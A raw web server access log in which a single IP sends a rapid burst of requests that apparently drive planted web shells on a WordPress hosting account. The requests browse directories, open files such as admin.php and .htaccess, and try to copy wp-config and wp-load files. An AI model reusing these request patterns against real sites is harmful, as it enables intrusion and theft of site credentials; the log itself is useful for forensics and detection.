45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?p=beauty-dental.com-20260912023807 HTTP/1.1" 200 17341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/legacy-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 6385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 6366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 18720 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8391 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&option=folder HTTP/1.1" 200 6367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&option=file HTTP/1.1" 200 6396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 28416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&location=%2Fhome%2F HTTP/1.1" 200 5818 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 6397 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 11126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F HTTP/1.1" 200 6522 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&location=%2F HTTP/1.1" 200 7881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/legacy-checkpoint/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7984 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 28712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5809 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2F.575494119812260.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 7337 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2F.952023047303216.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 7331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 33825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 46891 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7813 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 6745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 6717 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 6908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 7097 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 47613 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 6735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F HTTP/1.1" 200 31361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:18 -0400] "GET /bfl.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6746 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
